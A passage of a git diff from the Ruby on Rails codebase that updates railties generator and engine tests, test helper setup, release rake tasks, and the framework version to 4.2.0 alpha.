+ assert_match(/1 runs, 1 assertions, 0 failures, 0 errors/, `bundle exec rake test 2>&1`)
end
def test_ensure_that_migration_tasks_work_with_mountable_option
run_generator [destination_root, "--mountable"]
FileUtils.cd destination_root
quietly { system 'bundle install' }
- `bundle exec rake db:migrate`
- assert_equal 0, $?.exitstatus
+ output = `bundle exec rake db:migrate 2>&1`
+ assert $?.success?, "Command failed: #{output}"
end
def test_creating_engine_in_full_mode
@@ -293,7 +313,7 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
assert_file "Gemfile" do |contents|
assert_no_match('gemspec', contents)
assert_match(/gem "rails", "~> #{Rails.version}"/, contents)
- assert_match(/group :development do\n gem "sqlite3"\nend/, contents)
+ assert_match_sqlite3(contents)
assert_no_match(/# gem "jquery-rails"/, contents)
end
end
@@ -304,12 +324,12 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
assert_file "Gemfile" do |contents|
assert_no_match('gemspec', contents)
assert_match(/gem "rails", "~> #{Rails.version}"/, contents)
- assert_match(/group :development do\n gem "sqlite3"\nend/, contents)
+ assert_match_sqlite3(contents)
end
end
def test_creating_plugin_in_app_directory_adds_gemfile_entry
- # simulate application existance
+ # simulate application existence
gemfile_path = "#{Rails.root}/Gemfile"
Object.const_set('APP_PATH', Rails.root)
FileUtils.touch gemfile_path
@@ -323,7 +343,7 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
end
def test_skipping_gemfile_entry
- # simulate application existance
+ # simulate application existence
gemfile_path = "#{Rails.root}/Gemfile"
Object.const_set('APP_PATH', Rails.root)
FileUtils.touch gemfile_path
@@ -338,6 +358,52 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
FileUtils.rm gemfile_path
end
+ def test_generating_controller_inside_mountable_engine
+ run_generator [destination_root, "--mountable"]
+
+ capture(:stdout) do
+ `#{destination_root}/bin/rails g controller admin/dashboard foo`
+ end
+
+ assert_file "config/routes.rb" do |contents|
+ assert_match(/namespace :admin/, contents)
+ assert_no_match(/namespace :bukkit/, contents)
+ end
+ end
+
+ def test_git_name_and_email_in_gemspec_file
+ name = `git config user.name`.chomp rescue "TODO: Write your name"
+ email = `git config user.email`.chomp rescue "TODO: Write your email address"
+
+ run_generator [destination_root]
+ assert_file "bukkits.gemspec" do |contents|
+ assert_match(/#{Regexp.escape(name)}/, contents)
+ assert_match(/#{Regexp.escape(email)}/, contents)
+ end
+ end
+
+ def test_git_name_in_license_file
+ name = `git config user.name`.chomp rescue "TODO: Write your name"
+
+ run_generator [destination_root]
+ assert_file "MIT-LICENSE" do |contents|
+ assert_match(/#{Regexp.escape(name)}/, contents)
+ end
+ end
+
+ def test_no_details_from_git_when_skip_git
+ name = "TODO: Write your name"
+ email = "TODO: Write your email address"
+
+ run_generator [destination_root, '--skip-git']
+ assert_file "MIT-LICENSE" do |contents|
+ assert_match(/#{Regexp.escape(name)}/, contents)
+ end
+ assert_file "bukkits.gemspec" do |contents|
+ assert_match(/#{Regexp.escape(name)}/, contents)
+ assert_match(/#{Regexp.escape(email)}/, contents)
+ end
+ end
protected
def action(*args, &block)
@@ -347,4 +413,12 @@ protected
def default_files
::DEFAULT_PLUGIN_FILES
end
+
+ def assert_match_sqlite3(contents)
+ unless defined?(JRUBY_VERSION)
+ assert_match(/group :development do\n gem "sqlite3"\nend/, contents)
+ else
+ assert_match(/group :development do\n gem "activerecord-jdbcsqlite3-adapter"\nend/, contents)
+ end
+ end
end
diff --git a/railties/test/generators/resource_generator_test.rb b/railties/test/generators/resource_generator_test.rb
index 3d4e694361..dcdff22152 100644
--- a/railties/test/generators/resource_generator_test.rb
+++ b/railties/test/generators/resource_generator_test.rb
@@ -63,19 +63,19 @@ class ResourceGeneratorTest < Rails::Generators::TestCase
content = run_generator ["accounts".freeze]
assert_file "app/models/account.rb", /class Account < ActiveRecord::Base/
assert_file "test/models/account_test.rb", /class AccountTest/
- assert_match(/Plural version of the model detected, using singularized version. Override with --force-plural./, content)
+ assert_match(/\[WARNING\] The model name 'accounts' was recognized as a plural, using the singular 'account' instead\. Override with --force-plural or setup custom inflection rules for this noun before running the generator\./, content)
end
def test_plural_names_can_be_forced
content = run_generator ["accounts", "--force-plural"]
assert_file "app/models/accounts.rb", /class Accounts < ActiveRecord::Base/
assert_file "test/models/accounts_test.rb", /class AccountsTest/
- assert_no_match(/Plural version of the model detected/, content)
+ assert_no_match(/\[WARNING\]/, content)
end
def test_mass_nouns_do_not_throw_warnings
content = run_generator ["sheep".freeze]
- assert_no_match(/Plural version of the model detected/, content)
+ assert_no_match(/\[WARNING\]/, content)
end
def test_route_is_removed_on_revoke
diff --git a/railties/test/generators/scaffold_controller_generator_test.rb b/railties/test/generators/scaffold_controller_generator_test.rb
index 013cb78252..3c1123b53d 100644
--- a/railties/test/generators/scaffold_controller_generator_test.rb
+++ b/railties/test/generators/scaffold_controller_generator_test.rb
@@ -160,10 +160,12 @@ class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase
Unknown::Generators.send :remove_const, :ActiveModel
end
- def test_new_hash_style
- run_generator
- assert_file "app/controllers/users_controller.rb" do |content|
- assert_match(/render action: 'new'/, content)
+ def test_model_name_option
+ run_generator ["Admin::User", "--model-name=User"]
+ assert_file "app/controllers/admin/users_controller.rb" do |content|
+ assert_instance_method :index, content do |m|
+ assert_match("@users = User.all", m)
+ end
end
end
end
diff --git a/railties/test/generators/scaffold_generator_test.rb b/railties/test/generators/scaffold_generator_test.rb
index d5ad978986..524bbde2b7 100644
--- a/railties/test/generators/scaffold_generator_test.rb
+++ b/railties/test/generators/scaffold_generator_test.rb
@@ -286,6 +286,30 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
end
end
+ def test_scaffold_generator_belongs_to
+ run_generator ["account", "name", "currency:belongs_to"]
+
+ assert_file "app/models/account.rb", /belongs_to :currency/
+
+ assert_migration "db/migrate/create_accounts.rb" do |m|
+ assert_method :change, m do |up|
+ assert_match(/t\.string :name/, up)
+ assert_match(/t\.belongs_to :currency/, up)
+ end
+ end
+
+ assert_file "app/controllers/accounts_controller.rb" do |content|
+ assert_instance_method :account_params, content do |m|
+ assert_match(/permit\(:name, :currency_id\)/, m)
+ end
+ end
+
+ assert_file "app/views/accounts/_form.html.erb" do |content|
+ assert_match(/^\W{4}<%= f\.text_field :name %>/, content)
+ assert_match(/^\W{4}<%= f\.text_field :currency_id %>/, content)
+ end
+ end
+
def test_scaffold_generator_password_digest
run_generator ["user", "name", "password:digest"]
diff --git a/railties/test/generators/shared_generator_tests.rb b/railties/test/generators/shared_generator_tests.rb
index 369a0ee46c..8e198d5fe1 100644
--- a/railties/test/generators/shared_generator_tests.rb
+++ b/railties/test/generators/shared_generator_tests.rb
@@ -26,11 +26,17 @@ module SharedGeneratorTests
default_files.each { |path| assert_file path }
end
- def test_generation_runs_bundle_install
- generator([destination_root]).expects(:bundle_command).with('install').once
+ def assert_generates_with_bundler(options = {})
+ generator([destination_root], options)
+ generator.expects(:bundle_command).with('install').once
+ generator.stubs(:bundle_command).with('exec spring binstub --all')
quietly { generator.invoke_all }
end
+ def test_generation_runs_bundle_install
+ assert_generates_with_bundler
+ end
+
def test_plugin_new_generate_pretend
run_generator ["testapp", "--pretend"]
default_files.each{ |path| assert_no_file File.join("testapp",path) }
@@ -46,11 +52,6 @@ module SharedGeneratorTests
assert_no_file "test"
end
- def test_options_before_application_name_raises_an_error
- content = capture(:stderr){ run_generator(["--pretend", destination_root]) }
- assert_match(/Options should be given after the \w+ name. For details run: rails( plugin new)? --help\n/, content)
- end
-
def test_name_collision_raises_an_error
reserved_words = %w[application destroy plugin runner test]
reserved_words.each do |reserved|
@@ -101,15 +102,13 @@ module SharedGeneratorTests
end
def test_dev_option
- generator([destination_root], dev: true).expects(:bundle_command).with('install').once
- quietly { generator.invoke_all }
+ assert_generates_with_bundler dev: true
rails_path = File.expand_path('../../..', Rails.root)
assert_file 'Gemfile', /^gem\s+["']rails["'],\s+path:\s+["']#{Regexp.escape(rails_path)}["']$/
end
def test_edge_option
- generator([destination_root], edge: true).expects(:bundle_command).with('install').once
- quietly { generator.invoke_all }
+ assert_generates_with_bundler edge: true
assert_file 'Gemfile', %r{^gem\s+["']rails["'],\s+github:\s+["']#{Regexp.escape("rails/rails")}["']$}
end
diff --git a/railties/test/generators/task_generator_test.rb b/railties/test/generators/task_generator_test.rb
index 9399be9510..d5bd44b9db 100644
--- a/railties/test/generators/task_generator_test.rb
+++ b/railties/test/generators/task_generator_test.rb
@@ -7,6 +7,18 @@ class TaskGeneratorTest < Rails::Generators::TestCase
def test_task_is_created
run_generator
- assert_file "lib/tasks/feeds.rake", /namespace :feeds/
+ assert_file "lib/tasks/feeds.rake" do |content|
+ assert_match(/namespace :feeds/, content)
+ assert_match(/task foo:/, content)
+ assert_match(/task bar:/, content)
+ end
+ end
+
+ def test_task_on_revoke
+ task_path = 'lib/tasks/feeds.rake'
+ run_generator
+ assert_file task_path
+ run_generator ['feeds'], behavior: :revoke
+ assert_no_file task_path
end
end
diff --git a/railties/test/generators_test.rb b/railties/test/generators_test.rb
index 361784f509..eac28badfe 100644
--- a/railties/test/generators_test.rb
+++ b/railties/test/generators_test.rb
@@ -15,7 +15,7 @@ class GeneratorsTest < Rails::Generators::TestCase
end
def test_simple_invoke
- assert File.exists?(File.join(@path, 'generators', 'model_generator.rb'))
+ assert File.exist?(File.join(@path, 'generators', 'model_generator.rb'))
TestUnit::Generators::ModelGenerator.expects(:start).with(["Account"], {})
Rails::Generators.invoke("test_unit:model", ["Account"])
end
@@ -31,7 +31,7 @@ class GeneratorsTest < Rails::Generators::TestCase
end
def test_should_give_higher_preference_to_rails_generators
- assert File.exists?(File.join(@path, 'generators', 'model_generator.rb'))
+ assert File.exist?(File.join(@path, 'generators', 'model_generator.rb'))
Rails::Generators::ModelGenerator.expects(:start).with(["Account"], {})
warnings = capture(:stderr){ Rails::Generators.invoke :model, ["Account"] }
assert warnings.empty?
@@ -106,7 +106,7 @@ class GeneratorsTest < Rails::Generators::TestCase
def test_rails_generators_help_does_not_include_app_nor_plugin_new
output = capture(:stdout){ Rails::Generators.help }
assert_no_match(/app/, output)
- assert_no_match(/plugin_new/, output)
+ assert_no_match(/[^:]plugin/, output)
end
def test_rails_generators_with_others_information
diff --git a/railties/test/isolation/abstract_unit.rb b/railties/test/isolation/abstract_unit.rb
index a3295a6e69..6c50911666 100644
--- a/railties/test/isolation/abstract_unit.rb
+++ b/railties/test/isolation/abstract_unit.rb
@@ -93,7 +93,8 @@ module TestHelpers
# Build an application by invoking the generator and going through the whole stack.
def build_app(options = {})
@prev_rails_env = ENV['RAILS_ENV']
- ENV['RAILS_ENV'] = 'development'
+ ENV['RAILS_ENV'] = "development"
+ ENV['SECRET_KEY_BASE'] ||= SecureRandom.hex(16)
FileUtils.rm_rf(app_path)
FileUtils.cp_r(app_template_path, app_path)
@@ -117,9 +118,26 @@ module TestHelpers
end
end
+ File.open("#{app_path}/config/database.yml", "w") do |f|
+ f.puts <<-YAML
+ default: &default
+ adapter: sqlite3
+ pool: 5
+ timeout: 5000
+ development:
+ <<: *default
+ database: db/development.sqlite3
+ test:
+ <<: *default
+ database: db/test.sqlite3
+ production:
+ <<: *default
+ database: db/production.sqlite3
+ YAML
+ end
+
add_to_config <<-RUBY
config.eager_load = false
- config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
config.session_store :cookie_store, key: "_myapp_session"
config.active_support.deprecation = :log
config.action_controller.allow_forgery_protection = false
@@ -135,10 +153,11 @@ module TestHelpers
def make_basic_app
require "rails"
require "action_controller/railtie"
+ require "action_view/railtie"
app = Class.new(Rails::Application)
app.config.eager_load = false
- app.config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
+ app.secrets.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
app.config.session_store :cookie_store, key: "_myapp_session"
app.config.active_support.deprecation = :log
@@ -242,6 +261,12 @@ module TestHelpers
end
end
+ def gsub_app_file(path, regexp, *args, &block)
+ path = "#{app_path}/#{path}"
+ content = File.read(path).gsub(regexp, *args, &block)
+ File.open(path, 'wb') { |f| f.write(content) }
+ end
+
def remove_file(path)
FileUtils.rm_rf "#{app_path}/#{path}"
end
diff --git a/railties/test/paths_test.rb b/railties/test/paths_test.rb
index 12f18b9dbf..ed4559ec6f 100644
--- a/railties/test/paths_test.rb
+++ b/railties/test/paths_test.rb
@@ -3,7 +3,7 @@ require 'rails/paths'
class PathsTest < ActiveSupport::TestCase
def setup
- File.stubs(:exists?).returns(true)
+ File.stubs(:exist?).returns(true)
@root = Rails::Paths::Root.new("/foo/bar")
end
@@ -180,7 +180,7 @@ class PathsTest < ActiveSupport::TestCase
assert_equal 1, @root.eager_load.select {|p| p == @root["app"].expanded.first }.size
end
- test "paths added to a eager_load path should be added to the eager_load collection" do
+ test "paths added to an eager_load path should be added to the eager_load collection" do
@root["app"] = "/app"
@root["app"].eager_load!
@root["app"] << "/app2"
diff --git a/railties/test/rack_logger_test.rb b/railties/test/rack_logger_test.rb
index 3a9392fd26..6ebd47fff9 100644
--- a/railties/test/rack_logger_test.rb
+++ b/railties/test/rack_logger_test.rb
@@ -1,3 +1,4 @@
+require 'abstract_unit'
require 'active_support/testing/autorun'
require 'active_support/test_case'
require 'rails/rack/logger'
@@ -38,7 +39,7 @@ module Rails
def setup
@subscriber = Subscriber.new
@notifier = ActiveSupport::Notifications.notifier
- notifier.subscribe 'action_dispatch.request', subscriber
+ notifier.subscribe 'request.action_dispatch', subscriber
end
def teardown
@@ -56,11 +57,14 @@ module Rails
end
def test_notification_on_raise
- logger = TestLogger.new { raise }
+ logger = TestLogger.new do
+ # using an exception class that is not a StandardError subclass on purpose
+ raise NotImplementedError
+ end
assert_difference('subscriber.starts.length') do
assert_difference('subscriber.finishes.length') do
- assert_raises(RuntimeError) do
+ assert_raises(NotImplementedError) do
logger.call 'REQUEST_METHOD' => 'GET'
end
end
diff --git a/railties/test/railties/engine_test.rb b/railties/test/railties/engine_test.rb
index 50253fe2bc..c4b18e9ea5 100644
--- a/railties/test/railties/engine_test.rb
+++ b/railties/test/railties/engine_test.rb
@@ -90,8 +90,8 @@ module RailtiesTest
Dir.chdir(app_path) do
output = `bundle exec rake bukkits:install:migrations`
- assert File.exists?("#{app_path}/db/migrate/2_create_users.bukkits.rb")
- assert File.exists?("#{app_path}/db/migrate/3_add_last_name_to_users.bukkits.rb")
+ assert File.exist?("#{app_path}/db/migrate/2_create_users.bukkits.rb")
+ assert File.exist?("#{app_path}/db/migrate/3_add_last_name_to_users.bukkits.rb")
assert_match(/Copied migration 2_create_users.bukkits.rb from bukkits/, output)
assert_match(/Copied migration 3_add_last_name_to_users.bukkits.rb from bukkits/, output)
assert_match(/NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/, output)
@@ -136,7 +136,7 @@ module RailtiesTest
Dir.chdir(@plugin.path) do
output = `bundle exec rake app:bukkits:install:migrations`
- assert File.exists?("#{app_path}/db/migrate/0_add_first_name_to_users.bukkits.rb")
+ assert File.exist?("#{app_path}/db/migrate/0_add_first_name_to_users.bukkits.rb")
assert_match(/Copied migration 0_add_first_name_to_users.bukkits.rb from bukkits/, output)
assert_equal 1, Dir["#{app_path}/db/migrate/*.rb"].length
end
@@ -399,7 +399,7 @@ YAML
assert $plugin_initializer
end
- test "midleware referenced in configuration" do
+ test "middleware referenced in configuration" do
@plugin.write "lib/bukkits.rb", <<-RUBY
class Bukkits
def initialize(app)
@@ -1236,12 +1236,6 @@ YAML
assert_equal '/foo/bukkits/bukkit', last_response.body
end
- test "engines method is properly deprecated" do
- boot_rails
-
- assert_deprecated { app.railties.engines }
- end
-
private
def app
Rails.application
diff --git a/railties/test/railties/railtie_test.rb b/railties/test/railties/railtie_test.rb
index 4cbd4822be..a458240d2f 100644
--- a/railties/test/railties/railtie_test.rb
+++ b/railties/test/railties/railtie_test.rb
@@ -72,6 +72,14 @@ module RailtiesTest
assert $to_prepare
end
+ test "railtie have access to application in before_configuration callbacks" do
+ $after_initialize = false
+ class Foo < Rails::Railtie ; config.before_configuration { $before_configuration = Rails.root.to_path } ; end
+ assert_not $before_configuration
+ require "#{app_path}/config/environment"
+ assert_equal app_path, $before_configuration
+ end
+
test "railtie can add after_initialize callbacks" do
$after_initialize = false
class Foo < Rails::Railtie ; config.after_initialize { $after_initialize = true } ; end
diff --git a/railties/test/test_info_test.rb b/railties/test/test_info_test.rb
index d5463c11de..b9c3a9c0c7 100644
--- a/railties/test/test_info_test.rb
+++ b/railties/test/test_info_test.rb
@@ -48,6 +48,7 @@ module Rails
assert_equal ['test'], info.tasks
end
+ private
def new_test_info(tasks)
Class.new(TestTask::TestInfo) {
def task_defined?(task)
diff --git a/railties/test/version_test.rb b/railties/test/version_test.rb
new file mode 100644
index 0000000000..f270d8f0c9
--- /dev/null
+++ b/railties/test/version_test.rb
@@ -0,0 +1,12 @@
+require 'abstract_unit'
+
+class VersionTest < ActiveSupport::TestCase
+ def test_rails_version_returns_a_string
+ assert Rails.version.is_a? String
+ end
+
+ def test_rails_gem_version_returns_a_correct_gem_version_object
+ assert Rails.gem_version.is_a? Gem::Version
+ assert_equal Rails.version, Rails.gem_version.to_s
+ end
+end
diff --git a/tasks/release.rb b/tasks/release.rb
index 0c22f812fc..767feaf236 100644
--- a/tasks/release.rb
+++ b/tasks/release.rb
@@ -1,4 +1,4 @@
-FRAMEWORKS = %w( activesupport activemodel activerecord actionpack actionmailer railties )
+FRAMEWORKS = %w( activesupport activemodel activerecord actionview actionpack actionmailer railties )
root = File.expand_path('../../', __FILE__)
version = File.read("#{root}/RAILS_VERSION").strip
@@ -15,38 +15,37 @@ directory "pkg"
rm_f gem
end
- task :update_version_rb do
+ task :update_versions do
glob = root.dup
- glob << "/#{framework}/lib/*" unless framework == "rails"
- glob << "/version.rb"
+ if framework == "rails"
+ glob << "/version.rb"
+ else
+ glob << "/#{framework}/lib/*"
+ glob << "/gem_version.rb"
+ end
file = Dir[glob].first
ruby = File.read(file)
- if framework == "rails" || framework == "railties"
- major, minor, tiny, pre = version.split('.')
- pre = pre ? pre.inspect : "nil"
+ major, minor, tiny, pre = version.split('.')
+ pre = pre ? pre.inspect : "nil"
- ruby.gsub!(/^(\s*)MAJOR(\s*)= .*?$/, "\\1MAJOR = #{major}")
- raise "Could not insert MAJOR in #{file}" unless $1
+ ruby.gsub!(/^(\s*)MAJOR(\s*)= .*?$/, "\\1MAJOR = #{major}")
+ raise "Could not insert MAJOR in #{file}" unless $1
- ruby.gsub!(/^(\s*)MINOR(\s*)= .*?$/, "\\1MINOR = #{minor}")
- raise "Could not insert MINOR in #{file}" unless $1
+ ruby.gsub!(/^(\s*)MINOR(\s*)= .*?$/, "\\1MINOR = #{minor}")
+ raise "Could not insert MINOR in #{file}" unless $1
- ruby.gsub!(/^(\s*)TINY(\s*)= .*?$/, "\\1TINY = #{tiny}")
- raise "Could not insert TINY in #{file}" unless $1
+ ruby.gsub!(/^(\s*)TINY(\s*)= .*?$/, "\\1TINY = #{tiny}")
+ raise "Could not insert TINY in #{file}" unless $1
- ruby.gsub!(/^(\s*)PRE(\s*)= .*?$/, "\\1PRE = #{pre}")
- raise "Could not insert PRE in #{file}" unless $1
- else
- ruby.gsub!(/^(\s*)Gem::Version\.new .*?$/, "\\1Gem::Version.new \"#{version}\"")
- raise "Could not insert Gem::Version in #{file}" unless $1
- end
+ ruby.gsub!(/^(\s*)PRE(\s*)= .*?$/, "\\1PRE = #{pre}")
+ raise "Could not insert PRE in #{file}" unless $1
File.open(file, 'w') { |f| f.write ruby }
end
- task gem => %w(update_version_rb pkg) do
+ task gem => %w(update_versions pkg) do
cmd = ""
cmd << "cd #{framework} && " unless framework == "rails"
cmd << "gem build #{gemspec} && mv #{framework}-#{version}.gem #{root}/pkg/"
@@ -68,7 +67,7 @@ end
namespace :changelog do
task :release_date do
- FRAMEWORKS.each do |fw|
+ (FRAMEWORKS + ['guides']).each do |fw|
require 'date'
replace = '\1(' + Date.today.strftime('%B %d, %Y') + ')'
fname = File.join fw, 'CHANGELOG.md'
@@ -79,7 +78,7 @@ namespace :changelog do
end
task :release_summary do
- FRAMEWORKS.each do |fw|
+ (FRAMEWORKS + ['guides']).each do |fw|
puts "## #{fw}"
fname = File.join fw, 'CHANGELOG.md'
contents = File.readlines fname
@@ -93,16 +92,17 @@ namespace :changelog do
end
namespace :all do
- task :build => FRAMEWORKS.map { |f| "#{f}:build" } + ['rails:build']
- task :install => FRAMEWORKS.map { |f| "#{f}:install" } + ['rails:install']
- task :push => FRAMEWORKS.map { |f| "#{f}:push" } + ['rails:push']
+ task :build => FRAMEWORKS.map { |f| "#{f}:build" } + ['rails:build']
+ task :update_versions => FRAMEWORKS.map { |f| "#{f}:update_versions" } + ['rails:update_versions']
+ task :install => FRAMEWORKS.map { |f| "#{f}:install" } + ['rails:install']
+ task :push => FRAMEWORKS.map { |f| "#{f}:push" } + ['rails:push']
task :ensure_clean_state do
unless `git status -s | grep -v RAILS_VERSION`.strip.empty?
abort "[ABORTING] `git status` reports a dirty tree. Make sure all changes are committed"
end
- unless ENV['SKIP_TAG'] || `git tag | grep #{tag}`.strip.empty?
+ unless ENV['SKIP_TAG'] || `git tag | grep '^#{tag}$`.strip.empty?
abort "[ABORTING] `git tag` shows that #{tag} already exists. Has this version already\n"\
" been released? Git tagging can be skipped by setting SKIP_TAG=1"
end
@@ -120,7 +120,7 @@ namespace :all do
end
task :tag do
- sh "git tag #{tag}"
+ sh "git tag -m '#{tag} release' #{tag}"
sh "git push --tags"
end
diff --git a/tools/profile b/tools/profile
index 665efe049d..fbea67492b 100755
--- a/tools/profile
+++ b/tools/profile
@@ -4,7 +4,6 @@
ENV['NO_RELOAD'] ||= '1'
ENV['RAILS_ENV'] ||= 'development'
-Gem.source_index
require 'benchmark'
module RequireProfiler
diff --git a/version.rb b/version.rb
index 5a6d8d0983..c7397c4f15 100644
--- a/version.rb
+++ b/version.rb
@@ -1,9 +1,14 @@
module Rails
+ # Returns the version of the currently loaded Rails as a <tt>Gem::Version</tt>
+ def self.gem_version
+ Gem::Version.new VERSION::STRING
+ end
+
module VERSION
MAJOR = 4
- MINOR = 1
+ MINOR = 2
TINY = 0
- PRE = "beta"
+ PRE = "alpha"
STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
end